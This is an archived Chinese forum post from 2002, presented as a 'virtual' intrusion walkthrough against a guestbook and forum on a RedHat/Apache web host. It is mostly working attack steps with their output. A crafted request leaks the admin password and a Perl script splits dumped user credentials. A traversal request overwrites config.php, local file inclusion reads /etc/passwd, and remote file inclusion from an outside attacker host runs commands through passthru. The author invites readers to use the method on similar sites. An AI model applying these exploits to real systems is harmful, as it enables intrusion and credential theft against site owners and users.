发信人: williamlong(蓝色月光) 
整理人: starseacn(2002-01-17 16:28:13), 站内信件
 | 
 
 
一次虚拟的入侵经过
 
 by analysist <[email protected]>
 http://www.china4lert.org
 
 这是一次虚拟入侵,因为这次入侵的过程都是虚拟的,但这次入侵又非常地真实,因为我们完全可以按照其中介绍的方式入侵任何一个类似的网站。
 
 我们即将入侵的主机基本情况如下:
 
 操作系统:RedHat Linux v7.1
 主机地址:http://www.notfound.org
     Web服务器:Apache v1.3.20
 
 好了,废话少说,我们开工吧!
 
 一般来说,如果一个网站管理员比较勤快的话,我们应该很难从操作系统和Web服务器上找到漏洞,而这个管理员看起来就属于比较勤快的那种,我们在做了一些简单的测试之后,最终决定从CGI入手。
 
 经过一些时间的观察和分析,我们发现这个网站上运行的CGI程序主要有两个,一个是论坛,名字没听说过,另一个是ExGB GuestBook。随便试了一下那个论坛,感觉应该是比较安全的,至少错误处理做的不错,我提交了几个特殊的请求连一点系统信息都没搞到,看来是找不到什么突破口了。但是ExGB GuestBook呢?漏洞可是很多的呀,如果你想知道漏洞的具体细节,可以访问下面的链接:
 
 ExGB GuestBook泄露注册用户信息漏洞:
 http://v7.51.net/exploites/gbook1.txt
 
 ExGB GuestBook泄露超级管理员密码漏洞:
 http://v7.51.net/exploites/gbook2.txt
 
 ExGB GuestBook覆盖任意“.php”文件漏洞:
 http://v7.51.net/exploites/gbook3.txt
 
 好了,我们先来看看这个留言簿的注册用户信息,在IE地址拦输入:
 http://www.notfound.org/gbook/data/user.list
 看看我们看到了什么?
 
 820
 medana|!:!|cctv6|!:!|[email protected]|!:!|http://souce.myrice.com|!:!|xing xing liu yan
 23423432|!:!|111|!:!|[email protected]|!:!|http://333.com|!:!|我的留言
 stzzx|!:!|sohu.com|!:!|[email protected]|!:!|http://stzzx.k666.com|!:!|我的留言本
 jiayk|!:!|kingshah|!:!|[email protected]|!:!|http://foolqq.myetang.com|!:!|科幻城
 ......
 
 哈哈。。。注册用户很多嘛,有800多个,看来的确是个比较知名的大站了,但是为什么要用这么差劲的CGI程序呢?难道就因为这个CGI程序的知名度?知名度高就一定好吗?//sigh...现在的人啊!
 
 我对这些注册用户的信息本身不感兴趣,但是我很想研究一下人们喜欢用什么样的字符串作为密码,所以我写了个小程序来分离出注册用户的帐号和密码,源代码如下:
 
 #!/usr/bin/perl
 #this tool is designed by analysist
 #welcome to visit http://www.china4lert.org
 
 $ARGC=@ARGV;
 if ($ARGC != 1) {
 	print "Usage: $0 <datafile>\n";
     exit(1);
 }
 
 $datafile=shift;
 if (!(-e $datafile)) {
     print "File not found!\n";
 }
 
 $user="user.db";
 $pass="pass.db";
 if (-e $user) {
     unlink $user;
 }
 if (-e $pass) {
     unlink $pass;
 }
 
 open (DATA,$datafile);
 open (USER,">>$user");
 open (PASS,">>$pass");
 while ($line=<DATA>) {
     if ($line =~ /\|!:!\|/) {
 	    @data=split(/\|!:!\|/,$line);
 		print USER $data[0]."\n";
 		print PASS $data[1]."\n";
     }
 }
 
 很简单吧,这里我建议你学习Perl语言,因为它的确是一种非常优秀的语言,它的文本处理能力是其它任何语言都无法比拟的。
 
 分析的结果肯定让你吃惊,大约90%以上的用户密码是数字序列,还有大约5%的用户帐号和密码相同,这不得不让你对国内用户的安全意识担忧吧?!
 
 好了,下面我们看看超级管理员的密码是什么,我们提交一个这样的请求:
 
 http://www.notfound.org/gbook/index.php?action=reg&name=test&password1=%24pass&password2=%24pass&[email protected]&home=http%3A%2F%2Fwww.test.org&title=%24pass&ubb=1&html=1&page=5&up=header&down=footer®sub=%CC%E1%BD%BB%C9%EA%C7%EB
 
 haha...我们在IE的标题拦看到了超级管理员的明文密码,原来是“iloveu”,看来这个管理员还是个多情之人,//puke...
 
 我不打算用这个密码试着去登陆这台服务器,本身没有什么意义嘛,而且很容易被人发现,我才没那么傻呢,我们应该换个突破口。
 
 我们看到ExGB GuestBook还有一个覆盖“.php”文件的漏洞没有利用呢,利用这个漏洞,我们可以在该服务器上以Web Server的权限建立任何“.php”文件,当然该文件的内容是相对固定的,看起来似乎没有什么大的作用。
 
 再仔细的看了一下那个网站,原来论坛是用的别人的,可以去下载的呀。赶快把那个论坛的源码抓回来,仔细的分析了一下,终于发现了一个突破口。
 
 其中配置文件“inc/config.php”中有如下片段:
 <?php
   $langdir=”.”;
   $langfile=”cn.php”;
   ......
 ?>
 
 而论坛主文件“forum.php”中又有如下片段:
 <?php
   require(“inc/config.php”);
   include($langdir."/”.$langfile);
   ......
 ?>
 
 知道我要做什么了吧?提交一个下面的请求:
 http://www.notfound.org/gbook/index.php?action=reg&name=../../forun/inc/config&password1=%24pass&password2=%24pass&[email protected]&home=http%3A%2F%2Fwww.test.org&title=%24pass&ubb=1&html=1&page=5&up=header&down=footer®sub=%CC%E1%BD%BB%C9%EA%C7%EB
 呵呵。。。现在我们已经成功的覆盖了“/inc/config.php”文件,该文件的内容已经变成了:
 
 <?php
 $title="我的留言本";
 $pass="test";
 $home="http://www.test.org";
 $email="[email protected]";
 $admin[page]="5";
 $admin[ubb]="1";
 $admin[html]="1";
 $up="header";
 $down="footer";
 ?>
 
 这里需要注意的是,我们得正确判断“inc/config.php”文件在Web Server目录中所处的位置,还有我们得知道覆盖的文件中包括一些什么内容,如果只包括一些变量的话我们才可以利用,如果该文件中还包括一些函数,那么我们就只能利用它来判断该文件在Web Server目录中所处的位置,当然这也是我们所需要知道的。同时,该目录下还会生成一个“config.dat”文件,对我们似乎用处不大。
 
 好了,到了关键的地方,让我们来看看系统的“/etc/passwd”文件:
 http://www.notfound.org/forum/forum.php?langdir=/etc&langfile=passwd
 
 root:x:0:0:root:/root:/bin/bash 
 bin:x:1:1:bin:/bin: 
 daemon:x:2:2:daemon:/sbin: 
 adm:x:3:4:adm:/var/adm: 
 sync:x:5:0:sync:/sbin:/bin/sync 
 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 
 halt:x:7:0:halt:/sbin:/sbin/halt 
 mail:x:8:12:mail:/var/spool/mail: 
 operator:x:11:0:operator:/root: 
 httpd:x:80:80:HTTPD user:/home/httpd: 
 kiosk:x:90:90:Airforce Kiosk account:/home/kiosk:/bin/bash 
 nobody:x:99:99:Nobody:/tmp: 
 roadshow:x:95:95::/home/roadshow:/bin/bash 
 airforce:x:91:91::/home/airforce:/bin/bash 
 afleads:x:92:92::/home/afleads:/bin/bash +:::::
 
 好了,再看看系统中有谁在:
 http://www.notfound.org/forum/forum.php?langdir=http://www.hacker.com&langfile=cmd.php
 
 11:28am  up 6 days, 20:37,  5 users,  load average: 1.00, 1.00, 1.00
 USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
 
 好象没人在哦,呵呵。。。
 
 这会在该服务器上执行“http://www.hacker.com/”主机上的“cmd.php”文件,该文件的内容为:
 
 <?php
   passthru("w");
 ?>
 
 需要注意的是,攻击服务器(也就是www.hacker.com)应该不能执行PHP代码,否则攻击代码会在攻击服务器,而不是目标服务器执行,如果你想了解具体的技术细节,请参考:http://www.securereality.com.au/sradv00006.txt
 
 好了,现在我们已经拥有了该服务器的读,写和执行的权限,虽然还不是root用户,但已经足够了,余下的工作就留给你自己去做吧。
 
 
 
  ----
      | 
 
 
 |